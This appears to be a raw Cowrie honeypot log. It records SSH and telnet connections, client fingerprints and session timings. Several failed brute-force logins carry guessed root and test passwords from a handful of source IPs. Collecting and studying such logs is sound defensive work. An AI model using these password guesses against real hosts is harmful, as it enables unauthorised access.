{"eventid":"cowrie.login.failed","username":"root","password":"Root=1234","message":"login attempt [root/Root=1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:11:50.462091Z","src_ip":"59.17.95.129","session":"9cd11af8ff0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:11:51.665761Z","src_ip":"59.17.95.129","session":"9cd11af8ff0a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.55634045600891,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:12:12.567885Z","src_ip":"207.180.228.157","session":"ca1e93494bde","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.95187997817993,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:12:19.352520Z","src_ip":"207.180.228.157","session":"d8a9b9c1626e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.100.87.136","src_port":60622,"dst_ip":"159.203.135.109","dst_port":22,"session":"da2722d1a4e7","protocol":"ssh","message":"New connection: 185.100.87.136:60622 (159.203.135.109:22) [session: da2722d1a4e7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:12:21.520875Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH_10.1","message":"Remote SSH version: SSH-2.0-OpenSSH_10.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:12:21.525617Z","src_ip":"185.100.87.136","session":"da2722d1a4e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":42100,"dst_ip":"159.203.135.109","dst_port":23,"session":"4d2af7ce1122","protocol":"telnet","message":"New connection: 207.180.228.157:42100 (159.203.135.109:23) [session: 4d2af7ce1122]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:12:21.574496Z"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:12:21.640906Z","src_ip":"185.100.87.136","session":"da2722d1a4e7","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:12:21.760673Z","src_ip":"185.100.87.136","session":"da2722d1a4e7","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":38238,"dst_ip":"159.203.135.109","dst_port":23,"session":"e15f40998355","protocol":"telnet","message":"New connection: 174.138.46.234:38238 (159.203.135.109:23) [session: e15f40998355]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:12:26.899378Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":38662,"dst_ip":"159.203.135.109","dst_port":23,"session":"af34195d55b8","protocol":"telnet","message":"New connection: 174.138.46.234:38662 (159.203.135.109:23) [session: af34195d55b8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:12:27.304695Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":39200,"dst_ip":"159.203.135.109","dst_port":23,"session":"329eabe37589","protocol":"telnet","message":"New connection: 174.138.46.234:39200 (159.203.135.109:23) [session: 329eabe37589]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:12:29.505015Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.88.213.250","src_port":54198,"dst_ip":"159.203.135.109","dst_port":23,"session":"024e1920efa2","protocol":"telnet","message":"New connection: 195.88.213.250:54198 (159.203.135.109:23) [session: 024e1920efa2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:12:30.647768Z"}
{"eventid":"cowrie.session.connect","src_ip":"195.88.213.250","src_port":54208,"dst_ip":"159.203.135.109","dst_port":23,"session":"6737a88993a3","protocol":"telnet","message":"New connection: 195.88.213.250:54208 (159.203.135.109:23) [session: 6737a88993a3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:12:30.703100Z"}
{"eventid":"cowrie.session.closed","duration":5.96000862121582,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:12:33.264603Z","src_ip":"174.138.46.234","session":"af34195d55b8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"207.180.228.157","src_port":43130,"dst_ip":"159.203.135.109","dst_port":23,"session":"865bc5720c39","protocol":"telnet","message":"New connection: 207.180.228.157:43130 (159.203.135.109:23) [session: 865bc5720c39]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:12:33.416179Z"}
{"eventid":"cowrie.session.closed","duration":6.972285270690918,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:12:36.477193Z","src_ip":"174.138.46.234","session":"329eabe37589","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":41220,"dst_ip":"159.203.135.109","dst_port":23,"session":"22cb89aa3de5","protocol":"telnet","message":"New connection: 174.138.46.234:41220 (159.203.135.109:23) [session: 22cb89aa3de5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:12:36.576359Z"}
{"eventid":"cowrie.session.closed","duration":6.16677188873291,"message":"Connection lost after 6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:12:42.742980Z","src_ip":"174.138.46.234","session":"22cb89aa3de5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":41558,"dst_ip":"10.17.0.5","dst_port":22,"session":"0de38fac83d8","protocol":"ssh","message":"New connection: 59.17.95.129:41558 (10.17.0.5:22) [session: 0de38fac83d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:12:43.025433Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:12:43.030025Z","src_ip":"59.17.95.129","session":"0de38fac83d8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:12:43.225838Z","src_ip":"59.17.95.129","session":"0de38fac83d8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"Welcome123","message":"login attempt [test1/Welcome123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:12:44.044701Z","src_ip":"59.17.95.129","session":"0de38fac83d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:12:45.243926Z","src_ip":"59.17.95.129","session":"0de38fac83d8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.725010633468628,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:12:53.299384Z","src_ip":"207.180.228.157","session":"4d2af7ce1122","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.681498527526855,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:13:01.384495Z","src_ip":"195.88.213.250","session":"6737a88993a3","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.74121904373169,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:13:01.388818Z","src_ip":"195.88.213.250","session":"024e1920efa2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.706340074539185,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:13:04.122384Z","src_ip":"207.180.228.157","session":"865bc5720c39","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"195.88.213.250","src_port":55790,"dst_ip":"159.203.135.109","dst_port":23,"session":"1ff106ad42d5","protocol":"telnet","message":"New connection: 195.88.213.250:55790 (159.203.135.109:23) [session: 1ff106ad42d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:13:08.810474Z"}
{"eventid":"cowrie.session.closed","duration":52.28746676445007,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:13:19.186740Z","src_ip":"174.138.46.234","session":"e15f40998355","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"194.59.206.2","src_port":18898,"dst_ip":"10.17.0.5","dst_port":22,"session":"838f734669eb","protocol":"ssh","message":"New connection: 194.59.206.2:18898 (10.17.0.5:22) [session: 838f734669eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:13:19.505941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:13:19.510801Z","src_ip":"194.59.206.2","session":"838f734669eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"e54ef3ec27fe1fea7ab64d3fa05359fd","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group1-sha1,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1;chacha20-poly1305@openssh.com,aes128-gcm@openssh.com,aes256-gcm@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour256,arcfour128,arcfour,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-256,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group1-sha1","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com"],"encCS":["chacha20-poly1305@openssh.com","aes128-gcm@openssh.com","aes256-gcm@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","arcfour256","arcfour128","arcfour","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-256","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: e54ef3ec27fe1fea7ab64d3fa05359fd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:13:19.597497Z","src_ip":"194.59.206.2","session":"838f734669eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:13:19.688421Z","src_ip":"194.59.206.2","session":"838f734669eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":49304,"dst_ip":"10.17.0.5","dst_port":22,"session":"32dde07e64fd","protocol":"ssh","message":"New connection: 59.17.95.129:49304 (10.17.0.5:22) [session: 32dde07e64fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:13:37.495290Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:13:37.498903Z","src_ip":"59.17.95.129","session":"32dde07e64fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:13:37.696780Z","src_ip":"59.17.95.129","session":"32dde07e64fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Hn123456!","message":"login attempt [root/Hn123456!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:13:38.531622Z","src_ip":"59.17.95.129","session":"32dde07e64fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.55569815635681,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:13:39.366025Z","src_ip":"195.88.213.250","session":"1ff106ad42d5","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:13:39.731269Z","src_ip":"59.17.95.129","session":"32dde07e64fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36362,"dst_ip":"159.203.135.109","dst_port":23,"session":"f137cfc9cb6c","protocol":"telnet","message":"New connection: 174.138.46.234:36362 (159.203.135.109:23) [session: f137cfc9cb6c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:14:01.289430Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36402,"dst_ip":"159.203.135.109","dst_port":23,"session":"9fcfc4fffc21","protocol":"telnet","message":"New connection: 174.138.46.234:36402 (159.203.135.109:23) [session: 9fcfc4fffc21]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:14:01.507864Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36460,"dst_ip":"159.203.135.109","dst_port":23,"session":"25f0eda68397","protocol":"telnet","message":"New connection: 174.138.46.234:36460 (159.203.135.109:23) [session: 25f0eda68397]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:14:01.686560Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":36694,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ab8a7107895","protocol":"telnet","message":"New connection: 174.138.46.234:36694 (159.203.135.109:23) [session: 6ab8a7107895]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:14:02.688499Z"}
{"eventid":"cowrie.session.closed","duration":5.025772333145142,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:14:06.315059Z","src_ip":"174.138.46.234","session":"f137cfc9cb6c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.9545176029205322,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:14:06.642816Z","src_ip":"174.138.46.234","session":"6ab8a7107895","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":9.909639358520508,"message":"Connection lost after 9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:14:11.417401Z","src_ip":"174.138.46.234","session":"9fcfc4fffc21","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"59.17.95.129","src_port":46422,"dst_ip":"10.17.0.5","dst_port":22,"session":"224bec9e0015","protocol":"ssh","message":"New connection: 59.17.95.129:46422 (10.17.0.5:22) [session: 224bec9e0015]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:14:32.797930Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:14:32.805130Z","src_ip":"59.17.95.129","session":"224bec9e0015","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:14:33.006212Z","src_ip":"59.17.95.129","session":"224bec9e0015","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd!1234","message":"login attempt [root/abcd!1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:14:33.844628Z","src_ip":"59.17.95.129","session":"224bec9e0015","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:14:35.049126Z","src_ip":"59.17.95.129","session":"224bec9e0015","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":51.38598990440369,"message":"Connection lost after 51 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:14:53.072440Z","src_ip":"174.138.46.234","session":"25f0eda68397","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":50676,"dst_ip":"159.203.135.109","dst_port":23,"session":"aba4f6264da0","protocol":"telnet","message":"New connection: 174.138.46.234:50676 (159.203.135.109:23) [session: aba4f6264da0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:14:54.247181Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.138.46.234","src_port":51166,"dst_ip":"159.203.135.109","dst_port":23,"session":"e25250c7e399","protocol":"telnet","message":"New connection: 174.138.46.234:51166 (159.203.135.109:23) [session: e25250c7e399]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:14:54.938341Z"}
{"eventid":"cowrie.session.closed","duration":5.930429220199585,"message":"Connection lost after 5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:00.177485Z","src_ip":"174.138.46.234","session":"aba4f6264da0","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":7.9484686851501465,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:02.886666Z","src_ip":"174.138.46.234","session":"e25250c7e399","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"23.111.140.22","src_port":41752,"dst_ip":"10.17.0.5","dst_port":23,"session":"72724c7d67a1","protocol":"telnet","message":"New connection: 23.111.140.22:41752 (10.17.0.5:23) [session: 72724c7d67a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T12:15:10.857103Z"}
